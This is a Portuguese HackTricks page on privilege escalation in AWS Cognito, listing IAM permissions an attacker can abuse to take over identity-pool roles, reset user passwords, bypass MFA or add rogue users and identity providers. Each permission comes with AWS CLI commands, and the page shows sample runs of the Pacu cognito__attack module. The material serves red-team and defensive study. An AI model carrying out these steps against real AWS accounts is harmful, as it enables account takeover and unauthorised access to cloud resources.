AWS - Cognito Privesc

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Cognito

Para mais informações sobre o Cognito, verifique:

pageAWS - Cognito Enum

Coleta de credenciais do Identity Pool

Como o Cognito pode conceder credenciais de função IAM tanto para usuários autenticados quanto não autenticados, se você localizar o ID do Identity Pool de um aplicativo (deve estar codificado nele), você pode obter novas credenciais e, portanto, realizar uma escalada de privilégios (dentro de uma conta AWS onde provavelmente você nem tinha credenciais anteriormente).

Para mais informações verifique esta página.

Impacto Potencial: Escalação direta para a função de serviços anexada aos usuários não autenticados (e provavelmente para a função anexada aos usuários autenticados).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Com essa permissão, você pode conceder qualquer função do Cognito aos usuários autenticados/não autenticados do aplicativo Cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Se o aplicativo cognito não tiver usuários não autenticados habilitados, você também pode precisar da permissão cognito-identity:UpdateIdentityPool para habilitá-los.

Impacto Potencial: Privesc direto para qualquer função cognito.

cognito-identity:update-identity-pool

Um atacante com essa permissão poderia, por exemplo, configurar um Pool de Usuários Cognito sob seu controle ou qualquer outro provedor de identidade onde ele possa fazer login como uma forma de acessar este Pool de Identidade Cognito. Em seguida, apenas fazer login nesse provedor de usuários irá permitir que ele acesse a função autenticada configurada no Pool de Identidade.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Também é possível abusar dessa permissão para permitir autenticação básica:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impacto Potencial: Comprometer a função IAM autenticada configurada dentro do pool de identidade.

cognito-idp:AdminAddUserToGroup

Esta permissão permite adicionar um usuário Cognito a um grupo Cognito, portanto, um atacante poderia abusar dessa permissão para adicionar um usuário sob seu controle a outros grupos com privilégios melhores ou diferentes funções IAM:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impacto Potencial: Escalação de privilégios para outros grupos Cognito e funções IAM anexadas aos Grupos de Pool de Usuários.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Um atacante com essas permissões poderia criar/atualizar grupos com cada função IAM que pode ser usada por um Provedor de Identidade Cognito comprometido e fazer com que um usuário comprometido faça parte do grupo, acessando todas essas funções:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impacto Potencial: Escalação de privilégios para outros papéis IAM do Cognito.

cognito-idp:AdminConfirmSignUp

Esta permissão permite verificar uma inscrição. Por padrão, qualquer pessoa pode se inscrever em aplicativos Cognito, se isso for deixado, um usuário poderia criar uma conta com qualquer dado e verificá-la com essa permissão.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impacto Potencial: Privesc indireto para a função IAM do pool de identidades para usuários autenticados se você puder registrar um novo usuário. Privesc indireto para outras funcionalidades do aplicativo sendo capaz de confirmar qualquer conta.

cognito-idp:AdminCreateUser

Essa permissão permitiria a um atacante criar um novo usuário dentro do pool de usuários. O novo usuário é criado como habilitado, mas precisará alterar sua senha.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impacto Potencial: Privesc direto para a função IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário

cognito-idp:AdminEnableUser

Essas permissões podem ajudar em um cenário muito específico em que um atacante encontrou as credenciais de um usuário desabilitado e precisa habilitá-lo novamente.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impacto Potencial: Privesc indireto para a função IAM do pool de identidades para usuários autenticados e permissões do usuário se o atacante tiver credenciais para um usuário desabilitado.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Essa permissão permite fazer login com o método ADMIN_USER_PASSWORD_AUTH. Para mais informações, siga o link.

cognito-idp:AdminSetUserPassword

Essa permissão permitiria a um atacante alterar a senha de qualquer usuário, permitindo que ele se passe por qualquer usuário (que não tenha MFA habilitado).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impacto Potencial: Privesc direto para potencialmente qualquer usuário, portanto, acesso a todos os grupos dos quais cada usuário é membro e acesso à função IAM autenticada do Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Um atacante poderia potencialmente abusar dessa permissão para definir um telefone celular sob seu controle como MFA SMS de um usuário.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Semelhante ao anterior, essa permissão pode ser usada para definir as preferências de MFA de um usuário e contornar a proteção de MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Semelhante ao anterior, essa permissão pode ser usada para definir as preferências de MFA de um pool de usuários para contornar a proteção de MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Também é possível atualizar o pool de usuários para alterar a política de MFA. Verifique o cli aqui.

Impacto Potencial: Privilégio indireto de escalonamento para potencialmente qualquer usuário de quem o atacante conhece as credenciais, isso poderia permitir contornar a proteção de MFA.

cognito-idp:AdminUpdateUserAttributes

Um atacante com essa permissão poderia alterar o e-mail ou número de telefone ou qualquer outro atributo de um usuário sob seu controle para tentar obter mais privilégios em um aplicativo subjacente. Isso permite alterar um e-mail ou número de telefone e defini-lo como verificado.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Impacto Potencial: Possível escalonamento de privilégios indireto na aplicação subjacente usando Cognito User Pool que concede privilégios com base em atributos do usuário.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Um atacante com essa permissão poderia criar um novo Cliente de Pool de Usuários menos restrito do que os clientes de pool existentes. Por exemplo, o novo cliente poderia permitir qualquer tipo de método de autenticação, não ter nenhum segredo, ter a revogação de token desativada, permitir que os tokens sejam válidos por um período mais longo...

O mesmo pode ser feito se, em vez de criar um novo cliente, um existente for modificado.

No linha de comando (ou no atualizar) você pode ver todas as opções, confira!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impacto Potencial: Possível privesc indireto para o usuário autorizado do Pool de Identidade usado pelo Pool de Usuários, criando um novo cliente que relaxa as medidas de segurança e possibilita a um atacante fazer login com um usuário que ele foi capaz de criar.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Um atacante poderia abusar dessa permissão para criar usuários fazendo upload de um arquivo csv com novos usuários.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

Potencial Impacto: Escalação de privilégios diretos para a função IAM do pool de identidades para usuários autenticados. Escalação de privilégios indiretos para outras funcionalidades do aplicativo, podendo criar qualquer usuário.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Um atacante poderia criar um novo provedor de identidade para então ser capaz de fazer login por meio desse provedor.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impacto Potencial: Privesc direto para a função IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo sendo capaz de criar qualquer usuário.

Análise cognito-sync:*

Esta é uma permissão muito comum por padrão em funções de Pools de Identidade do Cognito. Mesmo que um curinga em permissões sempre pareça ruim (especialmente vindo da AWS), as permissões concedidas não são super úteis do ponto de vista de um atacante.

Essa permissão permite ler informações de uso de Pools de Identidade e IDs de Identidade dentro das Pools de Identidade (que não são informações sensíveis). IDs de Identidade podem ter Conjuntos de Dados atribuídos a eles, que são informações das sessões (a AWS define como um jogo salvo). Pode ser possível que isso contenha algum tipo de informação sensível (mas a probabilidade é bem baixa). Você pode encontrar na página de enumeração como acessar essas informações.

Um atacante também poderia usar essas permissões para se inscrever em um fluxo Cognito que publica alterações nesses conjuntos de dados ou um lambda que dispara em eventos do cognito. Não vi isso sendo usado e não esperaria informações sensíveis aqui, mas não é impossível.

Ferramentas Automáticas

  • Pacu, o framework de exploração da AWS, agora inclui os módulos "cognito__enum" e "cognito__attack" que automatizam a enumeração de todos os ativos do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte para MFA) e escalonamento de privilégios com base em atributos personalizáveis modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de ID, etc.

Para uma descrição das funções dos módulos, consulte a parte 2 do post do blog. Para instruções de instalação, consulte a página principal do Pacu.

Uso

Uso de ataque cognito__attack de amostra para tentar a criação de usuário e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Exemplo de uso do cognito__enum para reunir todos os grupos de usuários, clientes de grupos de usuários, pools de identidade, usuários, etc. visíveis na conta AWS atual:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner é uma ferramenta CLI em python que implementa diferentes ataques no Cognito, incluindo uma escalada de privilégios.

Instalação

$ pip install cognito-scanner

Uso

$ cognito-scanner --help

Para mais informações, acesse https://github.com/padok-team/cognito-scanner

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización